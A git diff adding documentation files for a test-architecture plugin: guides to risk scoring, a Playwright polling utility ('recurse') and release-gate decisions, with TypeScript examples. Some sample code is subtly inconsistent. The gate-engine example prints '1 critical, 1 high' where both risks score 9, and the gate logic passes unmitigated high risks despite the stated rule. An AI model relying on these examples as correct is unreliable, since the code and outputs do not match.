+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
